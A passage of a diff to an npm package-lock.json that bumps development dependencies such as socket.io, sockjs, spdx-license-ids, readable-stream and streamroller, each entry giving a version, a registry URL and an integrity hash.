"sha512-POqxBK6Lb3q6s047D/XsDVNPnF9Dl8JSaqe9h9lURl0OdNqy/ujDrOiIHtsqXMGbWWTIomRzAMaTyawAU//Reg==", + "dev": true, + "requires": { + "is-fullwidth-code-point": "2.0.0" + } + }, + "snapdragon": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", + "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", + "dev": true, + "requires": { + "base": "0.11.2", + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "map-cache": "0.2.2", + "source-map": "0.5.6", + "source-map-resolve": "0.5.2", + "use": "3.1.1" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "0.1.6" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "snapdragon-node": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", + "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", + "dev": true, + "requires": { + "define-property": "1.0.0", + "isobject": "3.0.1", + "snapdragon-util": "3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "requires": { + "is-descriptor": "1.0.2" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + } + } + }, + "snapdragon-util": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", + "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", + "dev": true, + "requires": { + "kind-of": "3.2.2" + } }, "sntp": { "version": "2.1.0", @@ -12273,163 +14730,111 @@ } }, "socket.io": { - "version": "1.7.3", - "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-1.7.3.tgz", - "integrity": "sha1-uK+cq6AJSeVo42nxMn6pvp6iRhs=", + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-2.1.1.tgz", + "integrity": "sha512-rORqq9c+7W0DAK3cleWNSyfv/qKXV99hV4tZe+gGLfBECw3XEhBy7x85F3wypA9688LKjtwO9pX9L33/xQI8yA==", "dev": true, "requires": { - "debug": "2.3.3", - "engine.io": "1.8.3", - "has-binary": "0.1.7", - "object-assign": "4.1.0", - "socket.io-adapter": "0.5.0", - "socket.io-client": "1.7.3", - "socket.io-parser": "2.3.1" + "debug": "3.1.0", + "engine.io": "3.2.0", + "has-binary2": "1.0.3", + "socket.io-adapter": "1.1.1", + "socket.io-client": "2.1.1", + "socket.io-parser": "3.2.0" }, "dependencies": { "debug": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.3.3.tgz", - "integrity": "sha1-QMRT5n5uE8kB3ewxeviYbNqe/4w=", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", "dev": true, "requires": { - "ms": "0.7.2" + "ms": "2.0.0" } - }, - "ms": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-0.7.2.tgz", - "integrity": "sha1-riXPJRKziFodldfwN4aNhDESR2U=", - "dev": true - }, - "object-assign": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.0.tgz", - "integrity": "sha1-ejs9DpgGPUP0wD8uiubNUahog6A=", - "dev": true } } }, "socket.io-adapter": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/socket.io-adapter/-/socket.io-adapter-0.5.0.tgz", - "integrity": "sha1-y21LuL7IHhB4uZZ3+c7QBGBmu4s=", - "dev": true, - "requires": { - "debug": "2.3.3", - "socket.io-parser": "2.3.1" - }, - "dependencies": { - "debug": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.3.3.tgz", - "integrity": "sha1-QMRT5n5uE8kB3ewxeviYbNqe/4w=", - "dev": true, - "requires": { - "ms": "0.7.2" - } - }, - "ms": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-0.7.2.tgz", - "integrity": "sha1-riXPJRKziFodldfwN4aNhDESR2U=", - "dev": true - } - } + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/socket.io-adapter/-/socket.io-adapter-1.1.1.tgz", + "integrity": "sha1-KoBeihTWNyEk3ZFZrUUC+MsH8Gs=", + "dev": true }, "socket.io-client": { - "version": "1.7.3", - "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-1.7.3.tgz", - "integrity": "sha1-sw6GqhDV7zVGYBwJzeR2Xjgdo3c=", + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-2.1.1.tgz", + "integrity": "sha512-jxnFyhAuFxYfjqIgduQlhzqTcOEQSn+OHKVfAxWaNWa7ecP7xSNk2Dx/3UEsDcY7NcFafxvNvKPmmO7HTwTxGQ==", "dev": true, "requires": { "backo2": "1.0.2", + "base64-arraybuffer": "0.1.5", "component-bind": "1.0.0", "component-emitter": "1.2.1", - "debug": "2.3.3", - "engine.io-client": "1.8.3", - "has-binary": "0.1.7", + "debug": "3.1.0", + "engine.io-client": "3.2.1", + "has-binary2": "1.0.3", + "has-cors": "1.1.0", "indexof": "0.0.1", "object-component": "0.0.3", + "parseqs": "0.0.5", "parseuri": "0.0.5", - "socket.io-parser": "2.3.1", + "socket.io-parser": "3.2.0", "to-array": "0.1.4" }, "dependencies": { - "component-emitter": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz", - "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=", - "dev": true - }, "debug": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.3.3.tgz", - "integrity": "sha1-QMRT5n5uE8kB3ewxeviYbNqe/4w=", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", "dev": true, "requires": { - "ms": "0.7.2" + "ms": "2.0.0" } - }, - "ms": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-0.7.2.tgz", - "integrity": "sha1-riXPJRKziFodldfwN4aNhDESR2U=", - "dev": true } } }, "socket.io-parser": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-2.3.1.tgz", - "integrity": "sha1-3VMgJRA85Clpcya+/WQAX8/ltKA=", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-3.2.0.tgz", + "integrity": "sha512-FYiBx7rc/KORMJlgsXysflWx/RIvtqZbyGLlHZvjfmPTPeuD/I8MaW7cfFrj5tRltICJdgwflhfZ3NVVbVLFQA==", "dev": true, "requires": { - "component-emitter": "1.1.2", - "debug": "2.2.0", - "isarray": "0.0.1", - "json3": "3.3.2" + "component-emitter": "1.2.1", + "debug": "3.1.0", + "isarray": "2.0.1" }, "dependencies": { "debug": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.2.0.tgz", - "integrity": "sha1-+HBX6ZWxofauaklgZkE3vFbwOdo=", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", "dev": true, "requires": { - "ms": "0.7.1" + "ms": "2.0.0" } }, - "ms": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/ms/-/ms-0.7.1.tgz", - "integrity": "sha1-nNE8A62/8ltl7/3nzoZO6VIBcJg=", + "isarray": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.1.tgz", + "integrity": "sha1-o32U7ZzaLVmGXJ92/llu4fM4dB4=", "dev": true } } }, "sockjs": { - "version": "0.3.18", - "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.18.tgz", - "integrity": "sha1-2bKJMWyn33dZXvKZ4HXw+TfrQgc=", + "version": "0.3.19", + "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.19.tgz", + "integrity": "sha512-V48klKZl8T6MzatbLlzzRNhMepEys9Y4oGFpypBFFn1gLI/QQ9HtLLyWJNbPlwGLelOVOEijUbTTJeLLI59jLw==", "dev": true, "requires": { "faye-websocket": "0.10.0", - "uuid": "2.0.3" - }, - "dependencies": { - "uuid": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-2.0.3.tgz", - "integrity": "sha1-Z+LoY3lyFVMN/zGOW/nc6/1Hsho=", - "dev": true - } + "uuid": "3.2.1" } }, "sockjs-client": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/sockjs-client/-/sockjs-client-1.1.4.tgz", - "integrity": "sha1-W6vjhrd15M8U51IJEUUmVAFsixI=", + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/sockjs-client/-/sockjs-client-1.1.5.tgz", + "integrity": "sha1-G7fA9yIsQPQq3xT0RCy9Eml3GoM=", "dev": true, "requires": { "debug": "2.6.8", @@ -12437,7 +14842,7 @@ "faye-websocket": "0.11.1", "inherits": "2.0.3", "json3": "3.3.2", - "url-parse": "1.1.9" + "url-parse": "1.4.3" }, "dependencies": { "faye-websocket": { @@ -12446,24 +14851,15 @@ "integrity": "sha1-8O/hjE9W5PQK/H4Gxxn9XuYYjzg=", "dev": true, "requires": { - "websocket-driver": "0.6.5" + "websocket-driver": "0.7.0" } } } }, - "sort-keys": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz", - "integrity": "sha1-RBttTTRnmPG05J6JIK37oOVD+a0=", - "dev": true, - "requires": { - "is-plain-obj": "1.1.0" - } - }, "source-list-map": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-0.1.8.tgz", - "integrity": "sha1-xVCyq1Qn9rPyH1r+rYjE9Vh7IQY=", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.0.tgz", + "integrity": "sha512-I2UmuJSRr/T8jisiROLU3A3ltr+swpniSmNPI4Ml3ZCX6tVnDsuZzK7F2hl5jTqbZBWCEKlj5HRQiPExXLgE8A==", "dev": true }, "source-map": { @@ -12472,36 +14868,142 @@ "integrity": "sha1-dc449SvwczxafwwRjYEzSiu19BI=", "dev": true }, + "source-map-resolve": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.2.tgz", + "integrity": "sha512-MjqsvNwyz1s0k81Goz/9vRBe9SZdB09Bdw+/zYyO+3CuPk6fouTaxscHkgtE8jKvf01kVfl8riHzERQ/kefaSA==", + "dev": true, + "requires": { + "atob": "2.1.1", + "decode-uri-component": "0.2.0", + "resolve-url": "0.2.1", + "source-map-url": "0.4.0", + "urix": "0.1.0" + } + }, "source-map-support": { - "version": "0.4.17", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.17.tgz", - "integrity": "sha1-byFQVT5jdTddDMsxgFAreMGLpDA=", + "version": "0.4.18", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.18.tgz", + "integrity": "sha512-try0/JqxPLF9nOjvSta7tVondkP5dwgyLDjVoyMDlmjugT2lRZ1OfsrYTkCd2hkDnJTKRbO/Rl3orm8vlsUzbA==", "dev": true, "requires": { "source-map": "0.5.6" } }, + "source-map-url": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.0.tgz", + "integrity": "sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=", + "dev": true + }, "spdx-correct": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-1.0.2.tgz", - "integrity": "sha1-SzBz2TP/UfORLwOsVRlJikFQ20A=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.0.0.tgz", + "integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==", "dev": true, "requires": { - "spdx-license-ids": "1.2.2" + "spdx-expression-parse": "3.0.0", + "spdx-license-ids": "3.0.0" } }, - "spdx-expression-parse": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-1.0.4.tgz", - "integrity": "sha1-m98vIOH0DtRH++JzJmGR/O1RYmw=", + "spdx-exceptions": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.1.0.tgz", + "integrity": "sha512-4K1NsmrlCU1JJgUrtgEeTVyfx8VaYea9J9LvARxhbHtVtohPs/gFGG5yy49beySjlIMhhXZ4QqujIZEfS4l6Cg==", "dev": true }, + "spdx-expression-parse": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", + "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", + "dev": true, + "requires": { + "spdx-exceptions": "2.1.0", + "spdx-license-ids": "3.0.0" + } + }, "spdx-license-ids": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-1.2.2.tgz", - "integrity": "sha1-yd96NCRZSt5r0RkA1ZZpbcBrrFc=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.0.tgz", + "integrity": "sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA==", "dev": true }, + "spdy": { + "version": "3.4.7", + "resolved": "https://registry.npmjs.org/spdy/-/spdy-3.4.7.tgz", + "integrity": "sha1-Qv9B7OXMD5mjpsKKq7c/XDsDrLw=", + "dev": true, + "requires": { + "debug": "2.6.8", + "handle-thing": "1.2.5", + "http-deceiver": "1.2.7", + "safe-buffer": "5.1.1", + "select-hose": "2.0.0", + "spdy-transport": "2.1.0" + } + }, + "spdy-transport": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-2.1.0.tgz", + "integrity": "sha512-bpUeGpZcmZ692rrTiqf9/2EUakI6/kXX1Rpe0ib/DyOzbiexVfXkw6GnvI9hVGvIwVaUhkaBojjCZwLNRGQg1g==", + "dev": true, + "requires": { + "debug": "2.6.8", + "detect-node": "2.0.3", + "hpack.js": "2.1.6", + "obuf": "1.1.2", + "readable-stream": "2.3.6", + "safe-buffer": "5.1.1", + "wbuf": "1.7.3" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "dev": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" + } + } + } + }, + "split-string": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", + "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", + "dev": true, + "requires": { + "extend-shallow": "3.0.2" + } + }, "sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", @@ -12524,10 +15026,40 @@ "tweetnacl": "0.14.5" } }, + "ssri": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/ssri/-/ssri-5.3.0.tgz", + "integrity": "sha512-XRSIPqLij52MtgoQavH/x/dU1qVKtWUAAZeOHsR9c2Ddi4XerFy3mc1alf+dLJKl9EUIm/Ht+EowFkTUOA6GAQ==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" + } + }, + "static-extend": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", + "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", + "dev": true, + "requires": { + "define-property": "0.2.5", + "object-copy": "0.1.0" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "0.1.6" + } + } + } + }, "statuses": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.3.1.tgz", - "integrity": "sha1-+vUbnrdKrvOzrPStX2Gr8ky3uT4=", + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=", "dev": true }, "stream-browserify": { @@ -12537,7 +15069,7 @@ "dev": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.3" + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -12546,25 +15078,31 @@ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", "dev": true }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, "readable-stream": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", - "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { "core-util-is": "1.0.2", "inherits": "2.0.3", "isarray": "1.0.0", - "process-nextick-args": "1.0.7", + "process-nextick-args": "2.0.0", "safe-buffer": "5.1.1", - "string_decoder": "1.0.3", + "string_decoder": "1.1.1", "util-deprecate": "1.0.2" } }, "string_decoder": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -12572,21 +15110,25 @@ } } }, - "stream-cache": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/stream-cache/-/stream-cache-0.0.2.tgz", - "integrity": "sha1-GsWtaDJCjKVWZ9ve45Xa1ObbEY8=", - "dev": true + "stream-each": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/stream-each/-/stream-each-1.2.3.tgz", + "integrity": "sha512-vlMC2f8I2u/bZGqkdfLQW/13Zihpej/7PmSiMQsbYddxuTsJp8vRe2x2FvVExZg7FaOds43ROAuFJwPR4MTZLw==", + "dev": true, + "requires": { + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" + } }, "stream-http": { - "version": "2.7.2", - "resolved": "https://registry.npmjs.org/stream-http/-/stream-http-2.7.2.tgz", - "integrity": "sha512-c0yTD2rbQzXtSsFSVhtpvY/vS6u066PcXOX9kBB3mSO76RiUQzL340uJkGBWnlBg4/HZzqiUXtaVA7wcRcJgEw==", + "version": "2.8.3", + "resolved": "https://registry.npmjs.org/stream-http/-/stream-http-2.8.3.tgz", + "integrity": "sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw==", "dev": true, "requires": { "builtin-status-codes": "3.0.0", "inherits": "2.0.3", - "readable-stream": "2.3.3", + "readable-stream": "2.3.6", "to-arraybuffer": "1.0.1", "xtend": "4.0.1" }, @@ -12597,25 +15139,31 @@ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", "dev": true }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, "readable-stream": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", - "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { "core-util-is": "1.0.2", "inherits": "2.0.3", "isarray": "1.0.0", - "process-nextick-args": "1.0.7", + "process-nextick-args": "2.0.0", "safe-buffer": "5.1.1", - "string_decoder": "1.0.3", + "string_decoder": "1.1.1", "util-deprecate": "1.0.2" } }, "string_decoder": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -12623,21 +15171,109 @@ } } }, - "strict-uri-encode": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz", - "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=", + "stream-shift": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.0.tgz", + "integrity": "sha1-1cdSgl5TZ+eG944Y5EXqIjoVWVI=", "dev": true }, - "string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "streamroller": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/streamroller/-/streamroller-0.7.0.tgz", + "integrity": "sha512-WREzfy0r0zUqp3lGO096wRuUp7ho1X6uo/7DJfTlEi0Iv/4gT7YHqXDjKC2ioVGBZtE8QzsQD9nx1nIuoZ57jQ==", "dev": true, "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "strip-ansi": "3.0.1" + "date-format": "1.2.0", + "debug": "3.1.0", + "mkdirp": "0.5.1", + "readable-stream": "2.3.6" + }, + "dependencies": { + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "dev": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": 